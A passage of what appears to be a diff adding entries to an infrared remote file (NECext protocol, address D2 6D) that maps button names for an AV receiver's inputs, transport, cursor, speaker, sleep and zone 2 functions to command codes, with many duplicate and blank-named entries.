MUTING_(TOGGLE) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: INPUT:_TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: INPUT:_TAP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT:_TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: IN_TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT:_TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT_TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT_TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT:_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: INPUT_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: IN_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: INPUT:_PH +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: INPUT:_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: INPUT_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: INPUT:_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: INPUT_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: IN_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: INPUT:_V3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT:_VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT_V3_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VID3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: V3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: V3_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: IN_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT:_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT:(V3)_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT_GAME/TV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: VIDEO3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT:_V2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT:_VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT_V2_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: V2_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: IN_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT:_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT:(V2)_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT_CBL/SAT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: VIDEO2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT:_V1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: INPUT_V1_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: V1_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: IN_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: CABLE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: INPUT:_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: INPUT:(V1)_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: INPUT_VCR/DVR +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: VIDEO1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 10 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: TR_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: TR_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: TR_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: SCAN+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: TR_SCAN>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: SCAN- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: TR_SCAN<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: MODE:_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: MODE_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: 2_/_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: 2_(DIRECT) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 46 00 00 00 +# +name: INPUT_FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 46 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 46 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 47 00 00 00 +# +name: INPUT_AM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 47 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 47 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: LISTEN_MODE_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: MODE_LISTEN_MODEUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: LISTENING_MODE_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: MODE_DSP_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: LISTENING_MODE_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: MODE:_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SUR_MODE_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: SP_A +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SPK_A +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SPEAKER_SET_A_ON/OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SP_B +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: SPK_B +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: SPEAKER_SET_B_ON/OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: SLEEP_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: CLEAR/SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: SLEEP_TIMER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CUR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 82 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CUR_DWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 83 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_LF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CUR_LEFT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 84 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CURSOR_RT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: CUR_RIGHT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 85 00 00 00 +# +name: TRACK- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 93 00 00 00 +# +name: TR_SKIP<< +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 93 00 00 00 +# +name: TRACK+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 94 00 00 00 +# +name: TR_SKIP>> +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 94 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: 0_/_DIMMER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: DIMMER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 95 00 00 00 +# +name: CLOCK +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 96 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 97 00 00 00 +# +name: TEST_MENU +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: 2_TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: SPK_TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: SPEAKER_TEST_TONE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: SET_-_SPL +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: A._CONTROL +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9B 00 00 00 +# +name: INPUT_V6_PC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9C 00 00 00 +# +name: INPUT:_V5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: INPUT:_VIDEO_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: V5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: AUX_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: INPUT:_AUX_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: VIDEO_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: INPUT_AUX2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: VID_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9D 00 00 00 +# +name: INPUT:_V4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: INPUT:_VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4_AUX_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: INPUT_V4_AUX1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: V4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: V4_AUX_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: IN_AUX +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: AUX_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: INPUT:_AUX_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: INPUT:(V4)_AUX_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: INPUT_AUX1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9F 00 00 00 +# +name: ZONE_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_(SELECT/ON) +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE2/SEARCH/ENTER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_DVD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_STANDBY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_TUN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_V1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_V2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_V3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_V4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: CABLE_MUSIC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: RADIO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: CH_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: CH_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: CURSOR_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MT-OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MT-ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MULTI-CH +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: V1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: V2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: V3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: V4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_DVD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_IRD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_MSRV +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_TAPE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VIDEO_1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VIDEO_2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VIDEO_3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VIDEO_4 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VIDEO_5 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VOLUME_- +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: ZONE_2_VOLUME_+ +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_LEV_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_LEV_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_OFF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# +name: Z2_ON +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 +# 